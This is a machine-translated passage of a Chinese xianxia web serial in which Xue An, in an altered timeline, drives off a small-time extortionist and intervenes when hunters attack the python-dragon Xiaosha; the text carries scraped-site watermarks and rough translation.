    Because these are the specialty dishes that Xue An ordered, especially the beef patties at the end, only the very familiar customers can know.


    And this young man in white not only knew, but also accurately said the most affordable method, which was obviously not explained by ordinary word of mouth.


    At this moment, Lao Xie also walked out from behind, and asked in a loud voice while walking.


    "Who? Are there any guests at this point?"


    Then he saw Xue An and his party too, and he couldn''t help being startled.


    Because he was shirtless at the moment, when he saw such a group of people suddenly appearing in the shop, there was a girl among them, the old face blushed, and he turned and left.


    Xue An smiled at him slightly, "Uncle Xie!"


    "what!"


    He subconsciously responded, but immediately felt something was wrong.


    I don''t know this young man at all, but how can he be so familiar and call himself Uncle Xie?


    At this time, the fat aunt pushed him a little stupid and walked to the back kitchen.


    "Walk around, the customer just ordered the food, so hurry up and cook later."


    When he left the front hall, Old Xie asked in a bit of astonishment: "Old lady, do you know these people?"


    "How could I know such a character?"


    "Then how does he call me Uncle Xie?"


    "I don''t know, I thought I was looking for you! Don''t talk about it, but I ordered a few of your best dishes, let''s stir it!"


    Soon, there was a rumbling fire in the back kitchen.


    But Xue Anke had all heard the conversation between the two of them just now, and the expression on his face couldn''t help but feel a little sad.


    There was a time when he was a frequent visitor here, and Old Xie and Fat Aunt cared for their desolate self at that time, completely treating themselves as a nephew of the younger generation.


    But I didn''t expect that at this time, they would be strangers to each other.


    Hu Ye naturally noticed Xue An''s loss, but he could only sigh inwardly, and then stopped talking.


    Soon, all the dishes Xue An ordered were cooked. Minus bxwx.co


    When it is served, it can''t be said that the color, fragrance, and taste are good, but at least it looks good.


    The fat aunt wiped her hands on her apron with some restraint, "There is nothing good in the shop, please take your time, please call me if you have any questions."


    He said he was about to quit, but Xue An didn''t move his chopsticks, instead turned his head and smiled at the fat aunt.


    "Don''t leave yet, I have something to ask you."


    "Please speak."


    "Do the two have a daughter?" Xue An asked bluntly.


    The fat aunt was taken aback, obviously not understanding why Xue An asked, but soon she shook her head very disappointed.


    "I really want to have a daughter here, but unfortunately, I have never had any children. Now that I am older, I don''t want those anymore! What do you ask this for?"


    Although it had been predicted, Xue An couldn''t help feeling a little sad after hearing that Xie Jingjing in this world had also disappeared, and then waved his hand.


    "It''s nothing, just think you look like a friend of mine before, so I just asked casually."


    The fat aunt didn''t doubt that he was there, and turned around and stepped back.


    The four of Xue An and his party just stared at the food on the table in a daze.


    It was Huye who broke the silence first.


    "Okay, okay, don''t think about it so much, since they have already made it for us, then don''t waste it and eat it!"


    Hu Ye moved his chopsticks as he spoke.


    Feibai and Si Qingqing glanced at Xue An. Xue An woke up from contemplation, smiled, and then picked up the chopsticks.


    "Eat, Uncle Xie''s craftsmanship is still good."


    Feibai brothers and sisters just put down the chopsticks.


    To be honest, in the eyes of the fox night, which is accustomed to eating all kinds of delicacies, these dishes are simply mediocre, with almost no other flavor except the blind salty and spicy flavor.


    This is also the most common fault of ordinary chefs.


    On the contrary, the brother and sister Feibai and Si Qingqing did not choose, and ate them hungrily.


    And just as people at a table were eating with their own minds, the door was suddenly pushed open heavily, and then several young people wearing exaggerated costumes and tattoos walked in.


    Immediately behind these young social youths was a guy with sunglasses on his head and a big golden chain hanging from his neck.


    These people started arguing as soon as they came in.


    "Huh?"


    "Damn, where did the boss die here?"


    Hearing the shouts, Old Xie and Fat Aunt ran out hurriedly. After seeing these young people in society, the expressions on their faces instantly became very ugly.


    But soon the fat aunt''s face was full of smiles, "A few big brothers are here, sit down quickly, let Xie give you a good meal today!"


    "Who the **** is going to eat your food? Didn''t you see that our big brothers are here?" These young people said very aggressively.


    Only then did the fat aunt see this man who wore sunglasses and pulled him like two to eighty thousand.


    "So you are Brother Du! I''m really sorry, I didn''t recognize it just now!"


    "Yeah!" The man called Brother Du snorted from his nostrils, then took off his sunglasses, took out a piece of paper and wiped it lightly.


    "You are the boss here!"


    "Yes!"


    "Very well, now this film is under my control, do you understand my rules?" Du Ge said coldly. UU reading www.uukanshu. cm


    "What''s the rule?"


    "It''s very simple. You will come up with this number every month from now on. I can assure you that you are safe, otherwise..."


    Brother Du stretched out two fingers.


    Old Xie frowned, "Two hundred yuan is a bit too much!"


    Brother Du sneered, "Two hundred? Are you calling Huazi? Two thousand, don''t be too expensive, or I won''t let you open this restaurant in minutes."


    "Yes, old stuff, dare to joke with our boss, be careful we smashed your shop!" these young people yelled.


    Old Xie was furious.


    Although he only promised in front of the fat aunt, this does not mean that he is a fearful man.


    On the contrary, he is grumpy and just caught fire, not to mention being bullied by these guys at the moment, so he wanted to have an attack.


    But at this moment, Xue An suddenly patted his shoulder behind him.


    "Uncle Xie, let me go!"


    Old Xie was a little dazed to dodge the road, watching the guest in white go straight to the group of Du Ge in puzzlement.


    Then I saw him smile slightly.


    "Du Fan?"


    This brother Du who was wearing sunglasses was taken aback, and then he looked at Xue An with some hesitation. Sacrifice as 9bzw.com Sacrifice as


    "you know me?"


    "Of course I know, and I''m very familiar!" Xue An said lightly.


    Du Fan was even more dazed.


    He can be sure that he has never seen this boy, so how does he know himself? Mi He Mi


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2617： Shadow forever

    That''s right, the man in front of him with sunglasses on his head, gold chain on his neck, and the smell of a cheap big brother all over his body, is Du Fan who has had several connections with Xue An before.


    That was when Xue An had just returned from rebirth, and at the invitation of Tang Xuan''er, Xue An attended a class reunion.


    It was at this class reunion that Xue An and Du Fan had their first meeting.


    It''s just that this meeting was not pleasant, because Du Fan, who had already become the underground boss of Beijiang at the time, was almost slapped to death by Xue An.


    Although Qin Yu, a daughter of the Qin Group, made a peace afterwards, this incident is over.


    But since then, Xue An has become an existence in Du Fan''s mind that is absolutely not to be provoked.


    Especially with the passage of time, Xue An''s prestige and strength have become higher and higher, and Du Fan is very knowledgeable to change his attitude, and is awe-inspiring to Xue An.


    I have to say that Du Fan was very smart at that time, at least Xue An couldn''t fault him because of many things.


    Therefore, Xue An also gave him many benefits.


    In a world where the timeline has not been tampered with, Du Fan has long since turned evil and returned to the right. Because of his outstanding performance in the previous wars, he has become the elder of the Red Lotus Immortal Sect. All influential people.


    But in this world, because of Xue An''s existence, Du Fan would naturally be unable to have those opportunities behind.


    Even at this moment, he is not even carrying a handle in Beijiang City, but a fake big brother who relied on a few young social youths to bluff and pretend to be the boss of the society, thereby blackmailing the protection fees of these ordinary merchants.


    "Very...very familiar? But I have never seen you before!" Du Fan suspiciously asked.


    Xue An smiled, "It doesn''t matter whether you have seen it or not. The important thing is that this Uncle Xie is a friend of mine, so I hope you better not come here to cause trouble in the future."


    "I''m rubbing, it turned out to be here to intercede with each other, who the **** are you, dare to talk nonsense with our boss!"


    Before Du Fan spoke, one of his young men with yellow hair took the lead in clamoring.


    Xue An couldn''t help but look at this yellow-haired boy again.


    Because this yellow-haired boy is also an acquaintance.


    It was Lu Kun who was pretending to be X at the class reunion, but Xue Ansheng slapped his head full of "hairy" Lu Kun.


    Unexpectedly, despite the tremendous changes in the timeline of this world, this Lu Kun still became Du Fan''s subordinate under the inertia of fate.


    Seeing Xue An''s smile, Lu Kun couldn''t help being furious, thinking that he was mocking himself, so he raised the stick in his hand and wanted to do it.


    But before he raised the stick in his hand over his head, Xue An''s faint glance made him froze in place.


    Then this Lu Kun couldn''t help trembling, and dense cold sweat oozes out of his forehead, and his eyes were full of infinite horror.


    But other people didn''t notice this. At this moment, these young people in society were not afraid of the sky. When they saw the white-clothed boy in front of him pretending to be X, he couldn''t help but screamed, and wanted to do it.


    But at this moment, Du Fan suddenly shouted.


    "Stop it all!"


    This loud shout was really good, and all of these men stopped their movements.


    Then Du Fan took off his sunglasses and said to Xue An with a smile on his face. Bxwx.cO ��


    "What you just said is really right. Since this old Xie is your friend, he is naturally my friend. Don''t worry, I will never harass again from now on!"


    "Oh? That''s it?" Xue An said lightly.


    Du Fan trembled all over, his complexion became paler at a speed visible to the naked eye, and then he smiled forcefully: "Of course not. Not only will I not harass in the future, if someone else dares to cause trouble, I won''t agree!"


    Xue An nodded, "It''s almost the same, let''s go, don''t disturb my mood for eating."


    "Yes, yes! Please take your time."


    Du Fan said repeatedly, and then he took his subordinates out in a panic.


    After they left, Xue An turned around and smiled at Old Xie and Fat Aunt, who were full of consternation.


    "It seems that my friends on the rivers and lakes really give me a lot of face, and I believe they will never dare to come here for trouble again in the future."


    "Ah...Ah yes! Thank you for your help. What is your name?" said the fat aunt hurriedly. Sacrifice like bxwx.co sacrifice like


    Xue An glanced at the fat aunt, and then whispered softly: "My name is Xue An! You can also call me Xiaoan."


    "How can you do it? You have helped us so much, and you are our benefactor. How can I call you that? Mr. Xue, please sit down and I will add some dishes to you."


    After all, the fat aunt took Lao Xie, who was still in a daze, and left.


    Xue An silently returned to the table and sat down, while Fox Ye sighed again.


    "Things are not humans, this Chinese idiom of your Chinese nationality can''t be more appropriate at this moment."


    After all, his mood became more and more gloomy.


    And at the same moment, in an alley not far from Lao Xie Fanzhuang, Du Fan rushed all the way to this place, breathing heavily.


    And his subordinates are even more puzzled. UU reading www.uukanshu. com


    "Boss, why were you so persuaded just now? I didn''t think that kid was so powerful."


    "Fart, what do you know!" Du Fan yelled, then looked back into the distance with lingering fears.


    "I had a strong hunch at the time. If I dared to say a word of nonsense, that person would definitely make me want to die."


    Speaking of this, Du Fan shuddered, "You didn''t see his eyes. It''s terrible. If you don''t believe me, ask Lu Kun."


    These people turned their heads to look at Lu Kun, only to see Lu Kun''s face pale as paper at the moment, squatting on the ground shaking.


    "Hey, Lao Lu, what''s the matter with you? As for being so scared?"


    A person went up and patted Lu Kun on the shoulder again.


    Lu Kun was shocked, and then yelled in horror.


    "Hair, my hair is slicked up by him, ah ah ah ah ah, it hurts!"


    Amid the hysterical roar, Rukun stumbled and ran away.


    This weird behavior made the people present look at each other, and there was a look of horror in their eyes.


    Du Fan let out a sigh of relief, secretly glad that he saw the opportunity quickly, otherwise the person who is scared alive now may be himself. Mi He Mi


    This incident was just a trivial episode for the huge Beijiang.


    At this moment, the city is brightly lit, singing and dancing are rising, and on the opposite bank of the Waglan River outside the city, Lianhua Mountain stands silently, like a huge monster, dormant in the darkness silently watching Beijiang City.


    It is the Red Lotus Immortal Sect that was once founded by Xue An.


    But in this timeline, it is called Hongyu Villa.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2618： Confusing timeline

    When Xue An and his party came out of the Lao Xie Hotel, everyone almost unanimously turned their eyes to the direction of Hongyu Villa.


    Xue An was silent for a moment, and then slowly said: "Let''s go, look at that Hongyu Villa."


    Hu Ye nodded, and then the group of people indulged and disappeared into the night.


    As soon as they walked away, Fat Aunt and Old Xie chased them out of the restaurant.


    "Mr. Xue, you have given too much... what about people?"


    Lao Xie and his wife stood there blankly, holding a large handful of banknotes in their hands.


    The two of them were busy in the back kitchen just now, planning to add some dishes for Xue An and others.


    But when he walked to the front hall, he found that Xue An''s table was empty, and there was still a wad of banknotes on the table.


    The two of them rushed out immediately, only to find that Xue An and his party had disappeared.


    "My wife, don''t you think this young man in white clothes is a little strange." The old thanked him.


    "What''s weird?"


    "Although I don''t know what''s going on, and we can be sure that we don''t know someone, why do I feel familiar with him when I see him?" Old Xie asked in confusion.


    The fat aunt couldn��t help but nodded, ��Yeah! If you don��t say anything, I have to ask you too. I also think this Mr. Xue seems to be hesitant when talking to us, and he knows us well. Look like."


    "But if we really understand, how can we ask if we have a daughter? Whoever knows us doesn''t know that we have no children at all?" Old Xie said.


    ���]��. "Hey, it''s useless to think so much now, let''s go back first!"


    Old Xie and his wife turned back to the hotel.


    At this moment, Xue An and his party have also arrived in front of Hongyu Villa.


    It is said that it is Hongyu Villa. In fact, no matter the layout or the architecture, it has not changed in any way from the Red Lotus Immortal Sect established by Xue An.


    It''s just that the four ancient seal characters on the mountain gate of Honglian Xianzong have been changed to the simplified characters of Hongyu Villa.


    Xue An and his party did not approach, they just stood in the distance and watched.


    Hu Yeyan said: "I went out from this Red Jade Villa at the beginning. It can be said that apart from the loss of many people and the absence of your record, there is almost no change."


    Xue An looked at this mountain gate with deep eyes and nodded, "Got it!"


    "How about? Would you like to go in and have a look?" Hu Ye asked.


    Although there were guards guarding the mountain gate, of course these people could not trouble Xue An and his party.


    "Don''t use it, wait and see!" Xue An said lightly.


    "Wait and see?" Hu Ye looked at the dark night sky with some puzzlement.


    What''s waiting for this?


    Could someone come?


    At this moment, I saw a few radiances suddenly passing through the night sky, and then falling in front of the mountain gate.


    The leader is impressively a woman.


    After seeing her, Hu Ye gave a slight shock and blurted out: "An Qing?"


    "Are you waiting for An Qing?"


    Xue An nodded, "Although there is no more of me in this world, Yan Er also disappeared, but I still want to investigate from other aspects!"


    "In what way?"


    "For example, can you find a flaw at the level of blood relationship? After all, your memory retention proves that this behind-the-scenes method is not perfect, and as long as there are loopholes, you can definitely find it." Xue An said with a grim expression. road.


    Hearing this, Hu Ye showed a stunned look, and couldn''t help but pat his forehead, "Old Xue, I have to admit that you are amazing. Why didn''t I think of this before?"


    "It means you are stupid!" Xue An joked with a rare laugh.


    Hu Ye surprisingly did not refute, but he smiled, and then said in a deep voice, "Then what should I do now? Shall we just take her away?"


    Xue An shook his head, "I said before, don''t worry, let''s take a look!"


    At the same time, this An Qing didn''t rush in before and after arriving at the gate of Hongyu Villa. Instead, she stood there and seemed to be waiting for someone.


    "Miss Ann, you are back!"


    The guard in front of the door greeted diligently.


    An Qing nodded.


    "This time you have been out for such a long time, what have you gained?"


    An Qing smiled, "It''s just going out on a routine patrol. What can I gain?"


    "Otherwise, someone like you has become a mainstay in just a few years!"


    The guard leader didn''t care about the indifference in An Qing''s words, and said politely.


    An Qing ignored his slipping beard anymore, but turned to look to the north, muttering to herself.


    "Why haven''t you come yet?"


    As soon as the voice fell, I saw a few Huaguang sweeping across the night sky again, and then fell in front of An Qing.


    After showing up, it was a team of people.


    The leader is also a woman, and the momentum is quite extraordinary.


    Behind her were several bodyguards.


    Hu Ye hiding in the distance couldn''t help but be surprised when he saw this, "Isn''t this the eldest lady Qin Yu from the Qin Group?"


    At the same time in the Red Lotus Immortal Sect, Hu Ye naturally also knew this female hero.


    But how could An Qing in this timeline get together with her?


    Just as Huye was puzzled, she saw Qin Yu step forward and nodded towards Anqing.


    "Girl Ann!"


    "Well, did everyone bring them?"


    "Well, they are all the top masters that my grandfather has collected over the years. They should be able to deal with that evil dragon!"


    "Well, it should not be too late. Tonight is when its eclipse changes. It will be very weak at this time. It is a good time for us to do it."


    "Okay, but say it in advance, the dragon liver and dragon blood must be given to me after the event is completed!"


    "Don''t worry, it''s useless if I ask for it, I''m only interested in its inner alchemy!"


    The two briefly discussed a few words, then got up and flew towards the northeast.


    "Follow up!" Xue An said solemnly, and then followed silently. UU reading


    Fox Ye and Feibai followed by Si Qingqing.


    Soon, they left the scope of Hongyu Villa and entered a large mountain.


    Hu Ye couldn''t help but flew forward and asked in a low voice, "How do I feel so familiar here?"


    "Of course I am familiar, because the front is Qingmang Mountain!"


    Sacrifice as shucang.cc Sacrifice as. Hearing the three words Qingmangshan, and then contacting the evil dragon mentioned by An Qing and Qin Yu before, Hu Ye instantly understood it and almost screamed.


    "Xiaosha!"


    Xue An nodded, "Yes, they should have come for Xiaosha!"


    Hu Ye murmured to herself, "I should have thought of it. Since you never appeared in this timeline, Xiaosha will naturally not encounter those opportunities behind, so at this moment it is still dormant in the green mansions. The Python Jiao on here!"


    At the same time, An Qing and Qin Yu''s group have entered the Qingmang Mountain.


    But before they could fly farther forward, a loud noise resembling a roar came from them, and then the two of them and the bodyguards behind them all snorted and fell from the air.


    Mi He Mi. "Now we have officially entered its sphere of influence, and the sound just now was its dragon roar. It can be seen that this guy has become a climate now!" An Qing said.


    Qin Yu nodded, his face was full of joy and excitement.


    "In this case, let''s hurry over!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2619： Feng shui blessed land

    Winding up the mountain path, after turning a few dense forests, a valley suddenly appeared in front of him.


    The valley is not too big, but it is surrounded by clouds and mist, and the weather is extraordinary.


    "It should be here. I didn''t expect such a climatic dragon to hide in a place not far from the villa." An Qing couldn''t help sighing.


    Qin Yu was a little impatient, "Then what are you waiting for, go in and capture this evil dragon."


    "Don''t worry, I have an appointment with an expert who has extremely high attainments in Feng Shui and Mathematics, and he will be there soon." An Qing said.


    "A man who is good at Fengshui?" Qin Yu was taken aback for a moment, and then looked at the valley quite puzzled.


    "Do you still need Feng Shui to kill the evil dragon?"


    Before An Qing could answer, an old man''s voice came from behind.


    "Of course it is necessary, because this evil dragon not only has a high level of cultivation, but also relies on the natural Fengshui and Qi luck of this place. It has already become the climate. If you don''t vent this breath first, you may even enter this valley. Don''t go."


    Qin Yu suddenly turned his head, but saw a middle-aged man wearing a Tang suit stepping out of the darkness.


    After seeing this man, Xue An''s eyes flashed in the darkness in the distance.


    Because this is another acquaintance.


    It was Song Yi who used to be the first person in the feng shui world of southern China and known as the first person in Hong Kong.


    In a world where the timeline has not been tampered with, Song Yi had the first contact with Xue An when he entered Qingmang Mountain with Chen Rushi, the princess of Chen''s family in the capital, to look for the magical medicine Hanlian.


    Later, Song Yi was deeply convinced by Xue An''s defensive methods, and he was willing to worship Xue An''s gate and became an existence similar to a named disciple.


    And this decision also made Song Yi''s strength and status soar, and finally gained a good position in the award ceremony when the Red Lotus Immortal Sect was established.


    But in this chaotic timeline, Song Yi didn''t meet Chen Rushi at all, but under the inertia of fate, he came to Qingmang Mountain under An Qing''s invitation.


    Before Song Yi strode to the valley, Chong An Qing nodded slightly.


    "Girl Ann!"


    An Qing smiled slightly, "Master Song really is on time, saying that he won''t miss today''s time is correct."


    Song Yi smiled and said, "Mou Song has been immersed in Feng Shui for several years, and he still has this ability!"


    With that, he turned his head to look at Xiang Qin Yu.


    "I think Miss Qin''s palace is dark, and the master''s house is unfavorable, but is there anyone in the house in poor health?"


    Qin Yu was shocked slightly.


    Because Song Yi was right, her grandfather, the legendary Qin Yuan who created the Qin Group with one hand, was recently sickened and even fell into a dangerous coma.


    After all the genius doctors were ineffective, Qin Yu turned his attention to the remedy in desperation.


    At the reminder of Qin Yuan��s friend Hua Xingyu, Qin Yu learned that the safest way to save Grandpa is to look for the most masculine strange thing in the world. Only this kind of thing can get rid of the difficult nightmare in Grandpa��s body. , Thus saving his life.


    This is the reason why Qin Yu is so concerned about the python flood from Qingmang Mountain.


    Because the python''s liver and blood contain extremely strong yang, it happens to be what is most urgently needed to cure Qin Yuan. Sacrifice as 99bxwx.com


    However, only Qin Yu himself knew about these things, and even no one within the Qin Group knew about them. At this moment, Song Yi explained it through, and Qin Yu''s heart was naturally shaken.


    Song Yi smiled slightly, "Don''t be surprised, I just feel it."


    Qin Yu bowed to the ground, "Master, help me!"


    Then, with tears in his eyes, he told the story again without any concealment.


    After listening to it, Song Yi sighed, "You can be considered a filial daughter that is hard to find in the world. Don''t worry, I will do my best on this matter."


    After all, he took out a compass from his arms, walked a few times around the open space in front of the valley, and then his complexion gradually became serious.


    "The wind stops and the clouds stay, the dragons and tigers stalk each other, this place is really a rare place to hide the wind and gather energy, no wonder this evil dragon chooses to eat the moon and shed the dragon in this place."


    "Then what are we going to do now?" Qin Yu asked impatiently.


    "Shaoan, don''t worry, the momentum of this valley is already established, if you don''t break the unparalleled momentum here, it is extremely difficult for outsiders to enter!"


    With that said, Song Yi took out three more wooden pegs from his backpack.


    These three wooden nails are no more than two inches long, and the whole body presents a beautiful and extremely gilded color, and there is a faint strong breath in it, which is obviously not a common thing.


    Song Yi graciously stroked the three wooden pegs.


    "This is the spiritual root of heaven and earth that I found in the heaven and blessings of the famous mountain and Dachuan cave by accident. It is a rare treasure. Its greatest function is to break all Fengshui situations!"


    As he said, Song Yi raised his hand suddenly.


    The three wooden nails immediately dispersed in the shape of a product, then sank into the vast cloud and disappeared.


    But just a moment later, there was an explosion in the valley, accompanied by a faintly audible groan of dragons.


    Then the mist that had obscured the sky and sun quickly dissipated, revealing the true nature of the valley.


    But seeing countless pear trees standing quietly in the valley, although the flowering period of UU���� is too early, when the moonlight falls on it, these countless pear trees actually bloomed at the same time. The flowers are as bright as moonlight.


    The moon in the sky and the flowers on the ground complement each other, forming an almost illusory picture.


    "Feng Shui here has been suppressed, if you want to subdue that evil dragon, this is the moment!"


    Song Yi shouted, and then rushed into the valley first.


    Naturally, An Qing, Qin Yu and others did not hesitate at all, and the others rushed in.


    The valley is not big, with the feet of people like them, it can only be reached in a blink of an eye. B*xw ����


    When I arrived in the middle of the valley, I saw the rugged mountains and rocks, among which was a deep and deep pool of water.


    The pool water was surging, and brought out countless cloud-like cold air.


    The land within a radius of tens of meters is covered by thick ice and snow, which shows the domineering coldness.


    But even in the ice and snow, there is a slim lotus in the middle of the lake.


    The lotus is white and flawless, and it contrasts sharply with the pitch black water below.


    Song Yi, An Qing and others couldn''t help but shook together after seeing this lotus flower. Mi He Mi


    Then Song Yi said with great excitement: "No wonder this evil dragon knows that entrenched in this feng shui blessed land practice will incur damnation but still refuses to leave. It turns out that it is because of this peerless cold lotus!"


    As he said, he turned his head to An Qing and said: "Miss An, this can be regarded as a surprise. This cold lotus is a rare treasure in the world, with various magical functions, and it is a great harvest after receiving it."


    An Qing has nothing to do, and immediately nodded and said: "Okay, I will pick off that lotus now."


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2620： Xiaosha appeared

    But just as her men came to the edge of the pool, the pool water that was originally smooth as a mirror suddenly made waves.


    Immediately afterwards, a huge python squad jumped out from it, its body length, the part protruding out of the water was several tens of meters.


    And the snake head that looks like a triangle is even more chilling.


    But when they saw this python, An Qing, Qin Yu and others were not surprised but rejoiced.


    Song Yi couldn''t help but sighed softly, "Sure enough, it is a python that has become a climate. It only takes one step to transform a dragon!"


    At the same time, the python bird looked down at these people with cold eyes, then opened his blood basin and spit out a mouthful of dragon inflammation.


    Wherever the white Long Yan passed, the extreme low temperature caused the moisture in the air to freeze into ice.


    Song Yi smiled coldly, "A mere beast, dare to make trouble!"


    As he said, he waved his hand violently, and a Yin Jue flew straight to the Python Jiao.


    This seal was long in the wind, but in the blink of an eye it changed from a fist to the size of a house, and fell down towards the python flood with its head covered.


    The python Jiao roared, and the snake head flicked, trying to smash this coin back at his own seal.


    But as soon as the two touched, the Python Jiao let out a painful cry, and then was smashed back into the pool by this seal.


    Immediately afterwards, the pool water turned red, and he was obviously injured.


    Song Yi beckoned to take back the Feng Shui mark, and looked at the rough cold pool with a sneer.


    "Want to be dying? If you are conscious, you''d better surrender now, otherwise I will kill you now."


    As soon as the voice fell, I saw the pond water surging, and it condensed into countless arrows, and they attacked Song Yi, An Qing and others.


    "Sure enough, it''s a beast, and I don''t know how to repent when I die!"


    As he said, Song Yi took a violent step, and then the compass in his hand flew straight up and turned into a light curtain, protecting everyone.


    Click!


    These ice arrows shattered.


    Seeing this scene, Huye, who was hiding in the darkness in the distance, couldn''t help asking.


    "Old Xue, don''t you plan to make a move now?"


    Xue An shook his head and said lightly: "No, because Xiaosha can handle it by himself."


    How can Fox Ye see that Xiaosha who appeared there has any chance to come back.


    But just as Xue An''s voice fell, a round of Huayue suddenly jumped out of the clouds and appeared above the sky.


    In an instant, the moonlight shone all over the world, covering everything with a layer of silver brilliance.


    And the cold lotus growing in the middle of the pond stretched out to welcome the baptism of the endless moon.


    However, in the blink of an eye, the cold lotus that was in budding began to bloom slowly.


    Song Yi suddenly thought of something, and couldn''t help shouting, "Quickly, stop this lotus from blooming!"


    But it was too late, this cold lotus bloomed so fast, but it bloomed completely in an instant.


    Sacrifice such as yunxuange.org sacrifice such as. The smell is tangy, and there are thousands of illusions.


    Everyone was involuntarily fascinated.


    Even Song Yi, who was still roaring just now, couldn''t help being quiet at this moment, looking at the lotus with obsessive eyes.


    But shortly afterwards, the pool water suddenly surged, and then the python water jumped straight out, swallowed the lotus flower in one bite, and soared above the night sky.


    Under the shining of Yuehua, everyone could see the whole picture of this python.


    It is seen that it has a snow-white color all over, and its length is more than 100 meters. Except for the head without horns, the rest is no different from the dragons in myths and legends.


    After swallowing the lotus flower, but seeing that the body of the python flood started to turn red rapidly, then it trembled violently.


    Every time there was a tremor, a dead skin rustle fell from above, revealing the golden dragon scales below.


    Song Yi shook violently, hissing and screaming: "Quickly, set fire to attack. It is now eclipsing the moon. If it is allowed to shed its skin successfully, we will all die!"


    In fact, An Qing and Qin Yu''s men had already launched a frenzied attack on this python water without his instructions.


    But whether it was a bullet or a spell, after arriving in front of the python Jiao, it was blocked by the barrier formed by the endless moonlight.


    Seeing this scene, Song Yi couldn''t help gritting his teeth, and then once again waved the feng shui seal in his hand.


    boom!


    No matter how long the feng shui mark grows in the wind, it turns into a hill and smashes towards the python Jiao.


    But at this moment, I saw the snake tumbling in the air.


    Boom!


    There was a muffled sound.


    ���]��. This feng shui seal was flew out abruptly by a flick of the python Jiao, and suddenly disintegrated in the air.


    puff!


    Song Yi opened his mouth and vomited a big mouthful of blood, his complexion instantly turned pale.


    You must know that the Feng Shui Great Seal was carefully developed by him with the secret method handed down from the master, and countless efforts have been poured into it.


    But at this moment, this feng shui seal was smashed to pieces by the python, which naturally made Song Yixiu seriously injured.


    And just at this moment, I saw this python Jiao raising his head and it was a dragon chant that pierced the sky.


    The sky and land within a radius of thousands of miles were shaking, and even the clouds in the sky were all receding.


    As for the nearest An Qing, Qin Yu and others, naturally they turned pale and backed back again and again.


    "Go back, this snake has become a dragon. It was obviously borrowing my power to get rid of the restriction of Feng Shui!" Song Yi shouted wildly, UU Reading ''s face was full of regret.


    Only then did he realize that he had underestimated this python.


    I thought it was entrenched here to transform its shape with the help of the geomantic omen here, but I didn''t expect it to be the lotus flower in the cold lake.


    As for the geomantic omen here, when it transforms into shape, it becomes a restriction and restriction.


    Because of this, this Python Jiao only allowed Song Yi to do things before, in order to use his power.


    At this point, Song Yi couldn''t help but regret and startle.


    To my surprise, this python Jiao actually had such calculations, which was obviously not the wisdom that ordinary monsters could possess.


    So at this moment, he couldn''t care about the broken seal of Feng Shui, and just wanted to retreat as soon as possible.


    But it was too late, and the moonlight suddenly disappeared, and only one snake was left in the dark night sky.


    In fact, it can no longer be described by Python Jiao at this moment.


    After molting, two horns have grown on top of its head. At the same time, the whole body has bright scales, making it a real dragon.


    When it slowly lowered its huge head and looked down at Xiang Song Yi and the others, an invisible dragon came crashing down, suppressing them unable to move at all.


    Then I saw the dragon slowly open his mouth and sneered.


    "I dare to calculate my old lady, today I will let you have a taste!"


    As he said, it opened its mouth and spit out a mouthful of white dragon inflammation.


    Mi He Mi. Song Yi closed his eyes and finished with a sigh. This time he was bound to die.


    The expected Long Yanjia body did not appear, but a faint voice came from his ears.


    "Xiaosha, don''t make trouble!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2621： Shocked

    It''s just six words, but it''s so exciting.


    Song Yi, who was already in despair, opened his eyes suddenly, and then saw a shocking scene.


    Just before this python Jiao, a figure suddenly appeared.


    This figure looked slightly thin from behind, especially under the cover of the huge and incomparable figure of this snake water dragon.


    But such a figure, at this moment, is like a reef standing in a torrent. Although facing the majestic coercion of this python, his body is not shaken in the slightest.


    Not only that, but an inexplicable power faintly rises from him, which makes people afraid to look directly at him.


    Who is this person?


    Why is there such a powerful force in the body?


    What is he doing here?


    The shocked Song Yi quickly flashed these thoughts in his mind. Diminish


    As for An Qing and Qin Yu, they were even more shocked by this sudden scene.


    And this python scorpion was also shocked.


    I saw her staring blankly at Xue An standing in front of her, her head full of question marks.


    what happened?


    Why do I feel so familiar when I see this teenager.


    And the name he just called himself.


    Xiaosha!


    This name is obviously not yours, but why are you so excited after hearing it?


    These questions made Lingzhi first open, and she was puzzled when she had just transformed into a dragon.


    At this moment, Xue An stretched out his hand and pointed a finger on the top of the python''s head.


    In an instant, an unimaginable aura was poured directly into the body of this python flood.


    Click!


    After a burst of skeletal sound, the python Jiao raised her head and let out a dragon groan of extremely pain, and then her huge body began to shrink and change rapidly.


    In the blink of an eye, she changed from a python that had just transformed into a dragon into a girl who had not yet grown up, and was no more than fourteen or five years old.


    She looked at Xue An with blank eyes, as if she didn''t understand what was going on.


    Xue An smiled faintly, and then sighed softly: "It seems that there is a certain definite number in the world. Even if the timeline is messed up, it will still be that Xiaosha after transformation!"


    After finishing all this, he looked down at the trembling Song Yi and others.


    After noticing his gaze, Song Yi trembled all over, and layers of cold sweat appeared on his forehead.


    He saw everything that happened just now.


    The magical scene made him stunned.


    I have never heard of anyone who can turn a flood dragon that has just eclipsed into a human being.


    Even those peerless experts at Hongyu Villa could not do this easily.


    So when he found that Xue An was looking at him, he couldn''t help but be afraid and frightened, and then bowed his head deeply, for fear of attracting Xue An''s attention again.


    But at this moment, I just listened to Xue An lightly saying: "Since meeting is predestined, I will give it back to you!"


    As he said, Xue An nodded his hand.


    The feng shui big seals that were originally torn apart and scattered everywhere instantly floated, and then quickly gathered together.


    Click! Sacrifice like yunxuange.org sacrifice like


    Accompanied by a burst of dazzling brilliance, this originally completely broken seal of Feng Shui recovered in the blink of an eye.


    Not only that, there are also many runes that have never been seen before in Feng Shui Mark, and the momentum is even more powerful.


    Xue An waved.


    The Feng Shui Great Seal flew back to Song Yi''s hands again, and when he felt the heavy texture and the powerful aura inside, Song Yi was stunned.


    First of all, he couldn''t understand the method used by this white-clothed boy to actually refining the big seal that had shattered on the ground.


    Secondly, he didn''t understand why this young man wanted to do this. He had never known him before, so why did he help himself in this way?


    Just as he was puzzled, he saw Xue An dodge and fell to the front, and then spoke to Qin Yu.


    "Is your grandpa sick?"


    Qin Yu was taken aback for a moment, and then looked at Xue An with a shocked face.


    "Don''t ask how I knew it, just tell me if it''s not."


